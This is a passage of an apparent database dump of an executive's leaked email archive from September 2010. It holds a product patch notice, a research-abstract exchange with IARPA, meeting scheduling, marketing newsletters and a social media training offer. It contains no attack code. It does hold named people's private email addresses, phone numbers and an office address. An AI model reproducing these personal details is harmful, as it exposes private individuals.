the\r\nsender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6139,'aaron_hbgary_com/6139.html'),(12365,'2010-09-28','\"Alex Torres\" <alex@hbgary.com>','/aaron@hbgary.com/new/1297009136.M763741P14101Q7220.eml','all@hbgary.com','Active Defense 1.1.0.342 is now live!','All,The latest patch for Active Defense, version 1.1.0.342, is now live. This patch includes important security enhancements as well as the following features and bug fixes:\r\nPerformance enhancements made to the physical memory dumping process.Security enhancements on server and agent.Physical Memory analysis on the end node no longer extracts all livebins to disk. Livebins are now extracted individually only when requested from the Active Defense UI.\r\nBug Fix: Logic that determines how soon a DDNA agent should begin work after machine boot was readjusted to allow more time for machine to boot up.Bug Fix: A bug causing combinatoric physical memory Scan Policy queries to not return the proper results has been fixed.\r\n-Engineering\r\n',14479,'aaron_hbgary_com/14479.html'),(12366,'2010-09-28','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297009136.M993325P14101Q7221.eml','aaron@hbgary.com','Alarm - Depoe Bay','September 28, 2010 : Depoe Bay \r\n',689,'aaron_hbgary_com/689.html'),(12367,'2010-09-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009137.M190978P14101Q7222.eml','\"Ted Vera\" <ted@hbgary.com>','Flyer','Hows the flyer coming?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',2641,'aaron_hbgary_com/2641.html'),(12368,'2010-09-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009137.M429119P14101Q7223.eml','\"Greg Hoglund\" <greg@hbgary.com>','Fwd: HBGary Abstract for IARPA-BAA-10-09','Any thoughts on this? &nbsp;We are proposing an R&amp;D project for IARPA for TMC/Fingerprint/Social Media Analysis for Attribution. &nbsp;I can do the research to answer the questions but thought if you have any quick answers off the top of your head to some of these...AaronBegin forwarded message:From: Edward J Baranoski &lt;edward.j.baranoski@ugov.gov&gt;Date: September 17, 2010 3:13:16 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: HBGary Abstract for IARPA-BAA-10-09Aaron,The topic area is of interest, although I expect the devil is in the details. &nbsp;The next step &nbsp;would need to lay out a more structured path to address the technical challenges before submitting a full proposal. We are not expecting a abstract or proposal to have answers to all possible questions (if it did, we wouldn\'t need a seedling). &nbsp;We do require that a proposal identify the key questions and how they will be addressed during the seedling.Here are sample questions I have regarding the approach you propose:1. What is the best metric to quantify overall performance (e.g., ROC curves, SNR, confusion matrices, etc.). &nbsp;Where do we think we are now, and where might these ideas take us (and why)? &nbsp;2. Can you say anything about how you would score likelihoods, and the parameter spaces over which you need to quantify results? &nbsp;How many samples of code are needed to train such algorithms, and how does performance statistically vary over relevant parameters (e.g., number of codes samples, code size, library/language/compiler dependencies, etc.)? &nbsp;4. What is the dimensionality of the feature space? &nbsp;Are the number of variables resolvable within the likely dimensionality of the feature space? &nbsp;I am thinking in pattern recognition terms. &nbsp;For example, if you have two classes with a reasonable distribution, they may be easily resolvable in a two dimensional space; however, 100 similar distributions in the same space would likely be heavily overlapping and far less resolvable.3. How are uncertainties parsed over the solution space? &nbsp;For example, if 80% of the code is borrowed from another developer, but the remaining 20% belongs to a developer of potential interest, how do you quantify that uncertainty?4. Figure 1 is not really explained, so I don\'t know what it is supporting.-Ed----- Original Message -----From: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;To: \"edward j baranoski\" &lt;edward.j.baranoski@ugov.gov&gt;Cc: \"Ted Vera\" &lt;ted@hbgary.com&gt;Sent: Tuesday, September 14, 2010 9:41:47 PMSubject: HBGary Abstract for IARPA-BAA-10-09Ed,Attached is an abstract at a high level describing our approach to attribution. &nbsp;I look forward to your comments and thoughts on the value of this approach.Aaron\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',13823,'aaron_hbgary_com/13823.html'),(12369,'2010-09-28','\"AFCEA NOVA\" <info@afceanova.org>','/aaron@hbgary.com/new/1297009137.M636939P14101Q7224.eml','aaron@hbgary.com','Register Now - Mil/Gov Career Transition Seminar & Dinner (AFCEA NOVA)','\r\n\r\n\r\n  AFCEA-NOVA\r\n   \r\n  \r\nHaving trouble viewing this email?\r\nClick here\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      Military\r\n/ Government Career Transition Seminar &amp; Dinner\r\n      \r\n      &nbsp;\r\n    \r\n    \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      \r\n      Career Transition Seminar &amp; Dinner\r\n      The STAR Program is AFCEA NOVA’s seminar series for\r\nGovernment/Military employees that are in the process of career\r\ntransition.&nbsp;\r\n      Tuesday, October 19\r\n      Read more and register at \r\n      www.afceanova.org/transition\r\n      \r\n      \r\n      About The Seminar\r\n      The STAR Program is AFCEA NOVA’s seminar series for\r\nGovernment/Military employees that are in the process of career\r\ntransition.&nbsp;\r\n      The event will offer attendees the opportunity to gain\r\ninsights and lessons learned from others who have successfully made the\r\ntransition.&nbsp;\r\n      It also offers networking opportunities with program\r\nmanagers, hiring managers, and staffing professionals.\r\nRead more and register for the program at www.afceanova.org/transition\r\n      \r\n      \r\n      Sponsor a Table\r\n      The AFCEA NOVA Career transition Seminar and Dinner\r\naffords corporate sponsors the opportunity to meet and interact with up\r\nto fifty active duty and reserve military officers from all of the\r\nuniformed services.&nbsp;&nbsp;\r\n      These officers have twenty or more years of service in IT, communications and related\r\nfields, will be transitioning\r\nwithin the next 6-12 months.&nbsp;&nbsp;\r\n      Sponsoring this program gives your company name\r\nrecognition among a highly desirable, educated, and experienced\r\naudience.\r\nRead more and become a sponsor at www.afceanova.org/transition\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      Upcoming\r\nAFCEA NOVA Events \r\n      With\r\nworld-class speakers and record-breaking attendance year after year,\r\nAFCEA\r\nNOVA\'s event programs are opportunity you can\'t afford to pass up.\r\n      \r\n        \r\n          \r\n        \r\n          \r\n          Thu, 10/14/2010\r\n          \r\n           Fall\r\n2010 Mentor Protégé Night\r\n        \r\n          \r\n        \r\n          \r\n          Fri, 10/15/2010\r\n          \r\n           October\r\nLuncheon\r\nMG Steven Smith\r\n        \r\n          \r\n        \r\n          \r\n          Thu, 10/21/2010\r\n          \r\n           9th Annual Air Force IT Day\r\nIT Supporting and Enabling the Joint Mission\r\n        \r\n          \r\n        \r\n          \r\n          Wed, 11/10/2010\r\n          \r\n           Small\r\nBusiness Breakfast\r\nSpeaker and Topic TBD\r\n        \r\n          \r\n        \r\n          \r\n          Fri, 11/12/2010\r\n          \r\n           Heroines\r\nin Technology\r\nGala Dinner\r\n        \r\n          \r\n        \r\n          \r\n          Fri, 11/19/2010\r\n          \r\n           November\r\nLuncheon\r\nUSMC Director C4/CIO\r\n        \r\n          \r\n        \r\n          \r\n          Thu, 12/09/2010\r\n          \r\n           10th\r\nAnnual Army IT Day \r\n        \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n    \r\n  \r\n\r\n\r\nForward email\r\n\r\n\r\n\r\nThis email was sent to aaron@hbgary.com by info@afceanova.org.\r\nUpdate Profile/Email Address | Instant removal with SafeUnsubscribe&trade; | Privacy Policy.\r\n\r\nEmail Marketing by\r\n\r\n\r\nAFCEA NOVA | 400 North Washington St | Ste 300 | Alexandria | VA | 22314\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13477,'aaron_hbgary_com/13477.html'),(12370,'2010-09-28','\"Matt Bigge\" <matt@strategicsocial.com>','/aaron@hbgary.com/new/1297009137.M850651P14101Q7225.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','Good to hear from you.  I\'m in DC next week on the 6th and 7th, in CA the balance of the week.  Does anything work with those dates?  Thanks,\r\n\r\nMatt \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, September 23, 2010 7:53 PM\r\nTo: Matt Bigge\r\nSubject: Re: Introduction\r\n\r\nHey Matt,\r\n\r\nWe missed getting together.  I am headed out for a week of vacation on Saturday but wanted to get a note out to see if we could get together the week of the 5th of Oct.\r\n\r\nAaron\r\n\r\nOn Sep 7, 2010, at 3:18 PM, Nathan Atherley wrote:\r\n\r\n> Aaron\r\n> \r\n> I had a very interesting conversation with Matt (cc\'d) this morning regarding what he and his company are doing.  Matt is CEO of a company called Strategic Social and in similar swim lanes to what I think you want to do as we previously discussed.  Matt is a former Army Ranger and I think you would get along.  You have similar passions.\r\n> \r\n> Matt\r\n> \r\n> Aaron is currently heading up a company called HBGary\'s federal business in Washington DC.  Aaron has a passion for social apps, iphone apps etc that have been used in areas of interest by the US Government.  We are working with Aaron and HBGary on one of our programs for Farallon Research.  BTW, thanks for taking the time this morning, it was a good and fun conversation.\r\n> \r\n> I believe you two have some common interests in these areas, and could benefit from a conversation.  I would be happy to facilitate a conference call, or we could all try and meet in the DC area.\r\n> \r\n> Nathan\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',7156,'aaron_hbgary_com/7156.html'),(12371,'2010-09-28','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009138.M414608P14101Q7227.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','FW: Participate at the DIA\'s DSSS Conference','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you interested?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom:\r\nconferencesales@ncsi.com [mailto:conferencesales@ncsi.com] \r\nSent: Monday, September 27, 2010 11:21 AM\r\nTo: penny@hbgary.com\r\nSubject: Participate at the DIA\'s DSSS Conference\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHow\r\ncan you REACH over 500 DoD federal government and industry security\r\nprofessionals from around the world?\r\n\r\nDEMONSTRATE the\r\nsolutions your company has to offer directly to the decision makers managing\r\nSensitive Compartmented Information Facilities (SCIFs ) worldwide at the\r\nDefense Special Security System Conference, November 30th to\r\nDecember 2nd 2010 in San Antonio, TX.\r\n\r\nRepresentatives\r\nfrom 50+ military installations and commands in North America, Europe, Asia and\r\nAfrica have already registered to attend this year.\r\n\r\n\r\n\r\n*A full list of registrant\'s titles and organizations are\r\navailable. Contact us today to learn more.\r\n\r\nENGAGE the niche community attending\r\nthis conference. Network yourself among senior officials of the DSSS and\r\nSpecial Security Officers (SSOs) responsible for managing major security\r\nprograms and for updating and maintaining security equipment, software, policies\r\nand procedures at SCIFs. \r\n\r\nSSOs safeguard these facilities. They also implement procedures\r\nfor the use of Sensitive Compartmented Information (SCI); conduct background\r\ninvestigations; perform personnel adjudication functions; monitor personnel\r\naccess controls; assist with security education; and transmit, transfer,\r\ndowngrade, and administer the proper destroying of information. \r\n\r\nDIA requested technologies and solutions:\r\n\r\n\r\n \r\n  \r\n  \r\n   Physical security \r\n   \r\n    Control Panels \r\n    Locks and Safes \r\n    Alarms \r\n    Entry/Exit Control \r\n   \r\n   Cyber Security Technology\r\n       \r\n   Access Control Devices \r\n   IT Systems Security \r\n   Secure Communications \r\n   SCI Security\r\n       Services/Consultants \r\n   Hardware/Software \r\n   Blast Mitigation \r\n   Central Station\r\n       Monitoring\r\n  \r\n  \r\n  \r\n  \r\n   Communications Equipment \r\n   Employee Screening \r\n   Forgery/Fraud \r\n   Guard Services \r\n   Smart Cards, Readers and\r\n       Systems \r\n   Biometric Technology \r\n   Identity Management \r\n   Intrusion Detection\r\n       Systems \r\n   Surveillance \r\n   Visitor Management\r\n       Systems \r\n   Vaults and Containers \r\n   Data and document\r\n       destruction\r\n  \r\n  \r\n \r\n\r\n\r\nEXPAND your company\'s image in the marketplace and\r\nhighlight products and services that will provide practical solutions to the\r\never changing security challenges.\r\n\r\nSOLIDIFY your existing customer\r\nrelationships and expand new relationships by participating in multiple\r\nnetworking opportunities with conference attendees.\r\n\r\nACCOMPLISH your marketing objectives and PARTICIPATE\r\nin this year\'s DSSS conference! Low price point opportunities exist for Start\r\nUp Companies!\r\n\r\nAvailability is limited, so please contact your NCSI sales\r\nrepresentative today to secure a contract for space. \r\n\r\n\r\nFor more information on how you can participate, please contact us at:\r\n\r\nconferencesales@ncsi.com |\r\noffice: 888.603.8899 | fax: 443.561.2440\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNCSI\r\nprovides logistical support to the 2010 Defense Special Security Systems\r\nConference under the authority of the Defense Inteliigence Agency (DIA).\r\nPlease Click here&nbsp;if&nbsp;you would&nbsp;like\r\nto&nbsp;unsubscribe from future email communications&nbsp;about this event\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9642,'aaron_hbgary_com/9642.html'),(12372,'2010-09-28','\"Matt Bigge\" <matt@strategicsocial.com>','/aaron@hbgary.com/new/1297009138.M625360P14101Q7228.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','How about 10am at our office in Rosslyn?  We are at 1911 N Ft Myer, suite 600.  It is about 100m away from the metro, across from the holiday inn.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 28, 2010 6:09 AM\r\nTo: Matt Bigge\r\nSubject: Re: Introduction\r\n\r\nI am pretty open on the 6th.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 28, 2010, at 5:27 AM, Matt Bigge  wrote:\r\n\r\n> Good to hear from you.  I\'m in DC next week on the 6th and 7th, in CA the balance of the week.  Does anything work with those dates?  Thanks,\r\n>\r\n> Matt\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, September 23, 2010 7:53 PM\r\n> To: Matt Bigge\r\n> Subject: Re: Introduction\r\n>\r\n> Hey Matt,\r\n>\r\n> We missed getting together.  I am headed out for a week of vacation on Saturday but wanted to get a note out to see if we could get together the week of the 5th of Oct.\r\n>\r\n> Aaron\r\n>\r\n> On Sep 7, 2010, at 3:18 PM, Nathan Atherley wrote:\r\n>\r\n>> Aaron\r\n>>\r\n>> I had a very interesting conversation with Matt (cc\'d) this morning regarding what he and his company are doing.  Matt is CEO of a company called Strategic Social and in similar swim lanes to what I think you want to do as we previously discussed.  Matt is a former Army Ranger and I think you would get along.  You have similar passions.\r\n>>\r\n>> Matt\r\n>>\r\n>> Aaron is currently heading up a company called HBGary\'s federal business in Washington DC.  Aaron has a passion for social apps, iphone apps etc that have been used in areas of interest by the US Government.  We are working with Aaron and HBGary on one of our programs for Farallon Research.  BTW, thanks for taking the time this morning, it was a good and fun conversation.\r\n>>\r\n>> I believe you two have some common interests in these areas, and could benefit from a conversation.  I would be happy to facilitate a conference call, or we could all try and meet in the DC area.\r\n>>\r\n>> Nathan\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n>\r\n>\r\n>\r\n',10491,'aaron_hbgary_com/10491.html'),(12373,'2010-09-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009138.M84219P14101Q7226.eml','\"Matt Bigge\" <matt@strategicsocial.com>','Re: Introduction','I am pretty open on the 6th.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 28, 2010, at 5:27 AM, Matt Bigge  wrote:\r\n\r\n> Good to hear from you.  I\'m in DC next week on the 6th and 7th, in CA the balance of the week.  Does anything work with those dates?  Thanks,\r\n>\r\n> Matt\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, September 23, 2010 7:53 PM\r\n> To: Matt Bigge\r\n> Subject: Re: Introduction\r\n>\r\n> Hey Matt,\r\n>\r\n> We missed getting together.  I am headed out for a week of vacation on Saturday but wanted to get a note out to see if we could get together the week of the 5th of Oct.\r\n>\r\n> Aaron\r\n>\r\n> On Sep 7, 2010, at 3:18 PM, Nathan Atherley wrote:\r\n>\r\n>> Aaron\r\n>>\r\n>> I had a very interesting conversation with Matt (cc\'d) this morning regarding what he and his company are doing.  Matt is CEO of a company called Strategic Social and in similar swim lanes to what I think you want to do as we previously discussed.  Matt is a former Army Ranger and I think you would get along.  You have similar passions.\r\n>>\r\n>> Matt\r\n>>\r\n>> Aaron is currently heading up a company called HBGary\'s federal business in Washington DC.  Aaron has a passion for social apps, iphone apps etc that have been used in areas of interest by the US Government.  We are working with Aaron and HBGary on one of our programs for Farallon Research.  BTW, thanks for taking the time this morning, it was a good and fun conversation.\r\n>>\r\n>> I believe you two have some common interests in these areas, and could benefit from a conversation.  I would be happy to facilitate a conference call, or we could all try and meet in the DC area.\r\n>>\r\n>> Nathan\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n>\r\n>\r\n>\r\n',2959,'aaron_hbgary_com/2959.html'),(12374,'2010-09-28','\"Fidelis Security Systems\" <Fidelis_Security_Systems@mail.vresp.com>','/aaron@hbgary.com/new/1297009143.M733589P14101Q7229.eml','aaron@hbgary.com','You\'re Invited! \"Mind the Gap\" Webinar -09/29/2010 at 1:00p.m. EST','\r\n\r\n\r\n\r\n\r\n\r\nFidelis Security Systems - Webinar\r\n\r\n\r\nbody{\r\n                font-family:Arial, Helvetica, sans-serif;\r\n                }\r\n.h1 {\r\n                font-family:Arial, Helvetica, sans-serif;\r\n    font-size:19px;\r\n                font-weight:bold;\r\n                color:red;\r\n                display:inline;\r\n}              \r\n.body{\r\n                font-size:12px;\r\n}\r\n.tile{\r\n                background:#FFFFFF url(http://www.fidelissecurity.com/images/invite/invite_tile.gif) repeat-x top;\r\n}\r\n.greenHead th{\r\n                background-color:#99a651;\r\n                color:white;\r\n                font-weight:bold;\r\n                font-size:16px;\r\n                text-align:left;\r\n                padding:2px 0px 2px 5px;\r\n}\r\n\r\n.greenHead td{\r\n                font-size:12px;\r\n                padding:2px 2px 8px 8px;\r\n\r\n}\r\n.greenHead{\r\n                margin:0px 10px 0px 0px;\r\n                border:1px solid #666;\r\n}\r\n.greenHead li{\r\n                font-size:14px;\r\n                font-weight:bold;\r\n                color:#800000;\r\n                margin-left:10px;\r\n                list-style-image:url(http://www.fidelissecurity.com/images/invite/list.gif);\r\n                \r\n}\r\n.style1 {color: #7c8b94}\r\n.style2 {color: #5b686f; padding-top:10px}\r\n.style3 {font-size: x-small}\r\n\r\n.style4 {\r\n                color: #800000;\r\n                font-weight: bold;\r\n                font-size:14px;\r\n}\r\n.copy{\r\n                font-style:italic;\r\n                font-size:9px;\r\n                padding-top:10px;\r\n}\r\n\r\n.eventHead{\r\n                background-color:#f2f2f2;           \r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          Think your packet-level network security products can defend against malware? Think again. They provide only partial coverage -- leaving your network with gapping holes.\r\n          \r\n        \r\n          \r\n  \r\n  \r\n    \r\n  \r\n  \r\n    Your existing network  defenses are necessary, but not sufficient to protect you from today&rsquo;s advanced  threats. \r\n      Why?\r\n      \r\n        They have known weaknesses that your adversaries know how to exploit; \r\n        The &ldquo;bad guys&rdquo; only need to find one way into--or out of--your network,  you have to plug all the holes;\r\n        The more mature and pervasive a security technology becomes, the less  risk reduction it provides--the threat community&rsquo;s ability to circumvent or  defeat security technologies increases over time.\r\n      \r\n      In our upcoming webinar, learn how Fidelis XPS&trade;&rsquo; patented Deep Session Inspection&trade;  platform enables real-time session-level visibility and control for  bi-directional communications, giving you: \r\n      \r\n        The power to contain and mitigate advanced threats&mdash;including malware;\r\n        Ability to cover the area of the attack surface left exposed by  conventional security products;\r\n        Protection of the high-value targets (e.g. sensitive information);\r\n        Defense-in-depth to back-up traditional network defense mechanisms.\r\n      \r\n    \r\n    See It in Action--Fidelis XPS Stops Malware!\r\n    Check out our YouTube Video, \r\n    Fidelis XPS-Stop Malware!\r\n    &nbsp;\r\n    See It, Study It, Stop It!\r\n      Fidelis XPS is your single engine for real-time proactive situational awareness--so you can see, study and stop advanced threats. \r\n    Register Today!\r\n    Register to Attend This Complimentary Webinar\r\n      \r\n        \r\n        Mind the Gap: Learn Why Deep Packet Inspection Technologies Can\'t Defend Against Malware\r\n      \r\n      \r\n        When:\r\n      \r\n      \r\n        Wednesday, September 29, 2010\r\n          Time: 1:00p.m. to 1:30p.m. EST\r\n      \r\n      \r\n        Where:\r\n      \r\n      \r\n        Click Here to Register\r\n          \r\n          www.fidelissecurity.com \r\n      \r\n      \r\n        Speaker:\r\n      \r\n      \r\n        Will Irace, Senior Systems Engineer, Fidelis Security Systems, Inc.\r\n      \r\n          &nbsp;\r\n  \r\n  \r\n    Copyright &copy; 2010 Fidelis Security Systems. the Fidelis Security Systems logo are registered trademarks of Fidelis Security Systems.\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n         Click to view this email in a browser\r\n         \r\n         \r\n       If you no longer wish to receive these emails, please reply to this message with \"Unsubscribe\" in the subject line or simply click on the following link: \r\n \r\nUnsubscribe\r\n\r\n\r\n\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n                  Fidelis Security Systems\r\n        4416 East West Highway\r\n        Suite 310\r\n        Bethesda, Maryland 20814\r\n\r\n        \r\n          \r\nRead the VerticalResponse marketing policy.\r\n\r\n\r\n        \r\n      \r\n    \r\n    \r\n      \r\n\r\n\r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n \r\n',14361,'aaron_hbgary_com/14361.html'),(12375,'2010-09-28','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297009144.M287448P14101Q7231.eml','\"Aaron Barr\" <aaron@hbgary.com>','Need Frisbie contact info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1989,'aaron_hbgary_com/1989.html'),(12376,'2010-09-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009144.M41407P14101Q7230.eml','\"Charles Copeland\" <charles@hbgary.com>,\"Charles Copeland\" <charles@hbgary.com>,','Responder Eval','Hey Charles,\r\n\r\nHow do I go about getting someone an eval of Responder?  Sorry I don\'t do it often.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',6741,'aaron_hbgary_com/6741.html'),(12377,'2010-09-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009144.M529448P14101Q7232.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','Re: Need Frisbie contact info','Robert.Frisbie@ManTech.com703-847-5193Hey I will send you a flyer when it is done, but for the rest of the year we are going to offer a package social media training program. &nbsp;$25K an org gets me for 2 days for 3 2 hr. training sessions, so total of 6. &nbsp;As many employees as you can fit in your training space. &nbsp;If you think that will be of any interest to any of the folks you deal with. &nbsp;Remember social media is the new and predominate attack vector for threats.(I am in Seattle the rest of the week).AaronOn Sep 28, 2010, at 10:12 AM, Winterfeld, Steven P (TASC) wrote:&nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',13850,'aaron_hbgary_com/13850.html'),(12378,'2010-09-28','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297009144.M759530P14101Q7233.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Need Frisbie contact info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHave you looked at SANS - Securing the Human \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 28, 2010 8:16 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: Need Frisbie contact info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nRobert.Frisbie@ManTech.com\r\n\r\n\r\n\r\n703-847-5193\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHey I will send you a flyer when it is done, but for the\r\nrest of the year we are going to offer a package social media training program.\r\n&nbsp;$25K an org gets me for 2 days for 3 2 hr. training sessions, so total of\r\n6. &nbsp;As many employees as you can fit in your training space. &nbsp;If you\r\nthink that will be of any interest to any of the folks you deal with.\r\n&nbsp;Remember social media is the new and predominate attack vector for\r\nthreats.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n(I am in Seattle the rest of the week).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 28, 2010, at 10:12 AM, Winterfeld, Steven P (TASC)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7970,'aaron_hbgary_com/7970.html'),(12379,'2010-09-28','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297009145.M269328P14101Q7235.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Need Frisbie contact info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJust wanted to make sure you saw it, SANS just bought the company\r\nthat teaches it to add to their course load. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 28, 2010 8:32 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: Need Frisbie contact info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYep. &nbsp;I think this is the wrong starting point.\r\n&nbsp;The best value is first getting as many employees as possible\r\nunderstanding the risks and the actual techniques that are or could be used to\r\ngather information and access. &nbsp;I focus on the employees and getting them\r\nto a common level of social media security awareness.\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 28, 2010, at 7:28 AM, &quot;Winterfeld, Steven P (TASC)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHave\r\nyou looked at SANS - Securing the Human \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 28, 2010 8:16 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: Need Frisbie contact info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nRobert.Frisbie@ManTech.com\r\n\r\n\r\n\r\n703-847-5193\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHey\r\nI will send you a flyer when it is done, but for the rest of the year we are\r\ngoing to offer a package social media training program. &nbsp;$25K an org gets\r\nme for 2 days for 3 2 hr. training sessions, so total of 6. &nbsp;As many\r\nemployees as you can fit in your training space. &nbsp;If you think that will\r\nbe of any interest to any of the folks you deal with. &nbsp;Remember social\r\nmedia is the new and predominate attack vector for threats.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n(I\r\nam in Seattle the rest of the week).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nSep 28, 2010, at 10:12 AM, Winterfeld, Steven P (TASC) 